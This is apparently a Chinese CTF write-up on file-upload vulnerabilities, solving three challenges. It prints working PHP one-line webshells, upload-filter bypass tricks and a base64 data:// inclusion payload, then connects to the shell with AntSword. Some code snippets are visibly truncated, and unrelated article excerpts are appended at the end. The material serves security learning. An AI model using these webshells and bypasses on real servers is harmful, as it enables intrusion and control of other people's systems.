CTF WEB 檔案上傳和 webshell

2022-03-08 21:37:56 字數 3428 閱讀 1450

目錄webshell

例題:bugku-求 getshell

例題:攻防世界-upload1

例題:攻防世界-web_php_include

利用檔案上傳漏洞往目標**中上傳一句話木馬,然後就可以在本地獲取和控制整個**目錄。利用一句話木馬進行入侵時需要滿足木馬上傳成功未被查殺,知道木馬的路徑在哪並保證上傳的木馬能正常執行。乙個簡單的 php 一句話木馬如下:

<?php @eval($_post['flag']) ?>
@ 表示後面即使執行錯誤也不報錯,eval()函式表示括號內的語句字串什麼的全都當做**執行,$_post['flag']表示從頁面中獲得 flag 這個引數值。

例如首先先寫個一句話木馬。

測試的網頁沒有做任何限制,所以不需要繞過就可以上傳 php 檔案。

上傳成功後開啟上傳的檔案,由於上傳的檔案會執行 flag 引數夾帶的 php **,所以可以使用 system 函式執行「dir」命令顯示檔案目錄。

在目錄下看到了 mima.txt 檔案,使用 more 命令檢視內容。

為了使得網頁不容易被攻擊,網頁經常需要通過一些手段來過濾不希望接收的檔案。首先是multipart/form-data 過濾,該過濾需要在表單中進行檔案上傳時,就需要使用該格式,意思是他通過表單會對檔案格式再進行一次判斷,並會在後端進行判斷。這種過濾只支援小寫字元,因此繞過方法為將抓到的包中的 content-type 欄位中的 「multipart/form-data」 中隨便乙個字母改為大寫。

第二是檔案型別過濾,為了不讓使用者隨便傳些檔案,只是要讓使用者上傳時,就可以限制只能上傳。還有一種是檔案字尾名過濾,例如字尾名是 「.php」 的檔案都攔截不能上傳,如果是在解題的情況下可以嘗試用 php 其他字尾進行上傳例如:php2, php3, php4, php5,phps, pht, phtm, phtml。

當網頁已經上傳過一句話木馬時,說明可以利用該木馬連線到網頁上,例如下面這個網頁。

「web」 的含義是顯然需要伺服器開放 web 服務,「shell」 的含義是取得對伺服器某種程度上操作許可權。webshell常常被稱為入侵者通過**埠對**伺服器的某種程度上操作的許可權,可以使用蟻劍或者菜刀等工具進行提權。以蟻劍為例,開啟蟻劍後右鍵選擇新增資料。

然後填入需要提權的網頁 url,以及一句話木馬的連線密碼。

新增之後可以右鍵進行一系列操作,例如可以檢視網頁的檔案,選擇檔案管理。

之後就可以檢視並操作網頁的檔案了,例如這個網頁的 html 目錄下就有 flag。

開啟網頁,這個明顯是檔案上傳漏洞,題目要求傳入乙個,不能是 php。

這是字尾名黑名單檢測,注意到使用了 multipart/form-data,所以通過對請求頭中的 content-type 進行大小寫繞過,將 multipart/form-data 隨便乙個字母改成大寫。然後這個網頁只能上傳檔案,因此把 content-type 欄位的值改為 「image/jpeg」。最後還有個副檔名過濾,測試後發現 「.php5」 字尾沒有被過濾。綜上所述檔案上傳的包修改如下,上傳獲得 flag。

開啟網頁,看到乙個檔案上傳的按鈕,考慮上傳一句話木馬之後用蟻劍連線。

首先先看一下原始碼,原始碼會對傳入的檔案的型別進行過濾,也就是說如果傳的不是,上傳按鈕會被禁用並彈窗報錯。

array.prototype.contains = function (obj)   

} return false;

} function check()

else

}

由此可見過濾是在前端,我們只需要繞過前端的過濾就照樣能提交一句話木馬。先將一句話木馬的字尾名改為 jpg,然後上傳到網頁。接著按上傳按鈕,然後用 burp 抓包,修改檔名的字尾為 「.php」。

上傳成功後會返回乙個檔名,直接訪問是沒有用的,使用蟻劍進行連線。

連線之後在 html 目錄下有個 flag.php,開啟就能看到 flag 了。

開啟網頁,看到一段 php **如下,觀察到這段**有 include() 函式,因此這題要考慮檔案包含漏洞。strstr() 函式查詢字串首次出現的位置,然後返回字串剩餘部分。注意到這段**使用了 strstr() 函式將傳入引數中的 「php://」 全部刪了,也就是說此處無法直接使用 php 偽協議來完成。

<?php 

show_source(__file__);

echo $_get['hello'];

$page=$_get['page'];

while (strstr($page, "php://"))

include($page);

?>

除了使用 data 偽協議執行命令以外,還可以使用它傳遞一句話木馬,然後進行 webshell。首先寫出要上傳的一句話木馬:

<?php eval(@$_post['attack']);?>
然後把它用 base64 加密,然後用 data 偽協議傳入,這樣網頁就會把一句話木馬包含進去。

?page=data://text/plain/;base64,pd9wahagzxzhbchajf9qt1nuwydhdhrhy2snxsk7pz4=
使用蟻劍連線,連線成功後開啟 「fl4gisisish3r3.php」 就能看到 flag。

檔案上傳和多檔案上傳

上傳檔案分析 上傳的檔案是以二進位制的形式上傳,因此在上傳表單裡面需要宣告enctype multipart form data 上傳的檔案所有的資訊都包含到全域性變數 files中 如 問題 1 上傳中文亂碼問題 只需使用函式incov 原來的編碼utf 8 轉化為的編碼gbk gb2312 檔名...

Spring檔案上傳和跨域檔案上傳

普通檔案上傳 2 建立servletfileupload和磁碟檔案項工廠 diskfileitemfactory factory new diskfileitemfactory servletfileupload fileupload new servletfileupload factory 3 ...

使用php實現檔案上傳和多檔案上傳

在php程式開發中,檔案上傳是乙個使用非常普遍的功能。但在網頁上實現檔案上傳存在著一定的 危險性 例如 某些惡意的使用者欺騙指令碼去訪問本不能訪問的檔案,或者藉此上傳一些bug或病毒,因此,在目前的網路平台上,檔案上傳這個功能雖使用非常普遍但存在限制性。首先,我們得了解 files系統函式 file...